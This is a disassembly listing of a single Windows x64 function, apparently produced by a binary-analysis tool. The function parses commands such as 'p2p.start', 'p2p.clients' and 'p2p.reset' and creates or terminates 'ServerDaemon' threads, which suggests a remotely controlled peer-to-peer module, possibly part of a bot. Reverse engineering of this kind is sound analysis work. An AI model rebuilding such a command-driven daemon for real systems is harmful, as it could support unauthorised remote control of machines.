Function at 0x140007a00
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 0x20], r9
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rbp + 0x128], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x90]
call fcn.140008640
nop
mov r8, qword [0x140025c00]
mov rax, qword [r8 + 0xc20]
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x98]
cmp rbx, rax
je 0x140007acf
mov rdx, qword [rbx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140007aa2
mov rdx, qword [rdx]
test rdx, rdx
je 0x140007ac0
test rcx, rcx
je 0x140007ac0
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov rcx, qword [rbp + 0x98]
mov r8, qword [0x140025c00]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, qword [r8 + 0xc20]
jne 0x140007a94
xor r12d, r12d
lea r15, [0x140015ce0]
test rcx, rcx
je 0x140007b01
lea rdx, str.p2p.start
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140007b94
mov rcx, qword [rbp + 0x98]
mov r8, qword [0x140025c00]
cmp byte [r8 + 0x1a94], r12b
jne 0x14000801b
movsd xmm0, qword [str.cServerDaemon]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x14000f010]
mov dword [rbp + 0x118], eax
movzx eax, word [0x14000f014]
mov word [rbp + 0x11c], ax
lea rcx, [r8 + 0xc40]
lea r9, str.ServerDaemonThread
lea r8, [rbp + 0x110]
mov edx, 3
call fcn.14000a140
mov dword [rbp + 0x44], eax
lea rax, [rbp + 0x84]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
lea r9, [rsp + 0x40]
lea r8, [0x1400063b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x44]
imul rdx, rcx, 0xe8
mov qword [rdx + r15 + 0xd8], rax
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140007ee6
lea rdx, str.p2p.status
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140007ee6
lea rdx, str.p2p.stop
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov rcx, qword [rbp + 0x98]
test eax, eax
je 0x140007ee6
test rcx, rcx
je 0x140007bf7
lea rdx, str.p2p.clients
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140007d82
mov rcx, qword [0x140025c00]
add rcx, 0x880
lea r8, str._Listing_P2P_Clients_
lea rdx, str.cServer:Read
call fcn.140002f20
mov edi, 1
lea rbx, [0x140013d28]
lea r14, [0x140013d00]
lea rsi, [0x140015ce0]
cmp dword [rbx + 0x10], r12d
je 0x140007d70
mov r9d, r12d
mov rax, r14
cmp dword [rax + 0x18], r12d
je 0x140007c50
cmp qword [rax], r12
je 0x140007c50
inc r9d
cmp dword [rax + 0x38], r12d
je 0x140007c5f
cmp qword [rax + 0x20], r12
je 0x140007c5f
inc r9d
cmp dword [rax + 0x58], r12d
je 0x140007c6e
cmp qword [rax + 0x40], r12
je 0x140007c6e
inc r9d
cmp dword [rax + 0x78], r12d
je 0x140007c7d
cmp qword [rax + 0x60], r12
je 0x140007c7d
inc r9d
cmp dword [rax + 0x98], r12d
je 0x140007c92
cmp qword [rax + 0x80], r12
je 0x140007c92
inc r9d
add rax, 0xa0
cmp rax, rsi
jl 0x140007c42
mov rcx, qword [0x140025c00]
add rcx, 0x880
mov rax, qword [rbx]
mov qword [rsp + 0x38], rax
mov eax, dword [rbx + 8]
mov dword [rsp + 0x30], eax
mov rax, qword [rbx - 8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
lea r8, str.Number_Total__i__Number__i__Name__s__Port__i__Host__s__r_n
lea rdx, str.cServer:Member
call fcn.140002f20
mov r8d, r12d
mov rax, r14
cmp dword [rax + 0x18], r12d
je 0x140007cee
cmp qword [rax], r12
je 0x140007cee
inc r8d
cmp dword [rax + 0x38], r12d
je 0x140007cfd
cmp qword [rax + 0x20], r12
je 0x140007cfd
inc r8d
cmp dword [rax + 0x58], r12d
je 0x140007d0c
cmp qword [rax + 0x40], r12
je 0x140007d0c
inc r8d
cmp dword [rax + 0x78], r12d
je 0x140007d1b
cmp qword [rax + 0x60], r12
je 0x140007d1b
inc r8d
cmp dword [rax + 0x98], r12d
je 0x140007d30
cmp qword [rax + 0x80], r12
je 0x140007d30
inc r8d
add rax, 0xa0
cmp rax, rsi
jl 0x140007ce0
mov rcx, qword [0x140025c00]
add rcx, 0x1868
mov rax, qword [rbx]
mov qword [rsp + 0x30], rax
mov eax, dword [rbx + 8]
mov dword [rsp + 0x28], eax
mov rax, qword [rbx - 8]
mov qword [rsp + 0x20], rax
mov r9d, edi
lea rdx, str._cServer:Member__Number_Total__i__Number__i__Name___s__Port___i__Host___s__r_n
call fcn.140005fc0
inc edi
add rbx, 0x20
cmp edi, 0xff
jl 0x140007c32
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140007da3
lea rdx, str.p2p.reset
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140007ed8
movups xmm0, xmmword [str.RESETcServerDaemon]
movups xmmword [rbp + 0x110], xmm0
movzx eax, word [0x14000f0d8]
mov word [rbp + 0x120], ax
movzx eax, byte [0x14000f0da]
mov byte [rbp + 0x122], al
mov rcx, qword [0x140025c00]
add rcx, 0xc40
lea r9, str.RESETcServerDaemon
lea r8, [rbp + 0x110]
mov edx, 4
call fcn.14000a140
mov dword [rbp + 0x44], eax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
lea r9, [rsp + 0x40]
lea r8, [0x1400078e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x44]
imul rdx, rcx, 0xe8
mov qword [rdx + r15 + 0xd8], rax
test rax, rax
je 0x140007ed8
mov rax, qword [0x140025c00]
mov byte [rax + 0x1a94], 1
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd r8, dword [rbp + 0x44]
imul rcx, r8, 0xe8
lea rbx, [rcx + r15]
mov qword [rbx + 0xd8], r12
lea rdi, [rcx + r15]
mov dword [rdi + 0xc8], r12d
lea rsi, [rcx + r15]
mov dword [rsi + 0xcc], r12d
lea r14, [rcx + r15]
mov dword [r14 + 0xd0], r12d
add r15, rcx
mov byte [r15], r12b
cmp r8d, 0xffffffff
jl 0x140007ec5
mov edx, 1
mov rcx, qword [rbx + 0xd8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov qword [rbx + 0xd8], r12
mov dword [rdi + 0xc8], r12d
mov dword [rsi + 0xcc], r12d
mov dword [r14 + 0xd0], r12d
mov byte [r15], r12b
mov rcx, qword [0x140025c00]
add rcx, 0x1868
call fcn.140004f10
mov bl, 1
mov rcx, qword [rbp + 0x98]
jmp 0x14000801d
mov rdx, qword [0x140025c00]
cmp byte [rdx + 0x1a94], r12b
je 0x14000801b
movups xmm0, xmmword [str.EndP2PServerDaemon]
movups xmmword [rbp + 0x110], xmm0
movzx eax, word [0x14000f040]
mov word [rbp + 0x120], ax
movzx eax, byte [0x14000f042]
mov byte [rbp + 0x122], al
lea rcx, [rdx + 0xc40]
lea r9, str.ENDP2P
lea r8, [rbp + 0x110]
mov edx, 8
call fcn.14000a140
mov dword [rbp + 0x44], eax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
lea r9, [rsp + 0x40]
lea r8, [0x140007800]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x44]
imul rdx, rcx, 0xe8
mov qword [rdx + r15 + 0xd8], rax
test rax, rax
je 0x140007f92
mov rax, qword [0x140025c00]
mov byte [rax + 0x1a94], r12b
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd rdx, dword [rbp + 0x44]
imul rcx, rdx, 0xe8
lea rbx, [rcx + r15]
mov qword [rbx + 0xd8], r12
lea rdi, [rcx + r15]
mov dword [rdi + 0xc8], r12d
lea rsi, [rcx + r15]
mov dword [rsi + 0xcc], r12d
lea r14, [rcx + r15]
mov dword [r14 + 0xd0], r12d
add r15, rcx
mov byte [r15], r12b
cmp edx, 0xffffffff
jl 0x140008010
mov edx, 1
mov rcx, qword [rbx + 0xd8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov qword [rbx + 0xd8], r12
mov dword [rdi + 0xc8], r12d
mov dword [rsi + 0xcc], r12d
mov dword [r14 + 0xd0], r12d
mov byte [r15], r12b
mov bl, 1
mov rcx, qword [rbp + 0x98]
jmp 0x14000801d
xor bl, bl
lea rax, vtable.cString.0
mov qword [rbp + 0x90], rax
test rcx, rcx
je 0x14000803c
call fcn.14000c01c
mov qword [rbp + 0x98], r12
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x140008054
call fcn.14000c01c
mov qword [rbp + 0xa0], r12
mov dword [rbp + 0xa8], r12d
lea rcx, [rbp + 0xb0]
call fcn.140001370
movzx eax, bl
mov rcx, qword [rbp + 0x128]
xor rcx, rsp
call fcn.14000bd80
add rsp, 0x230
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret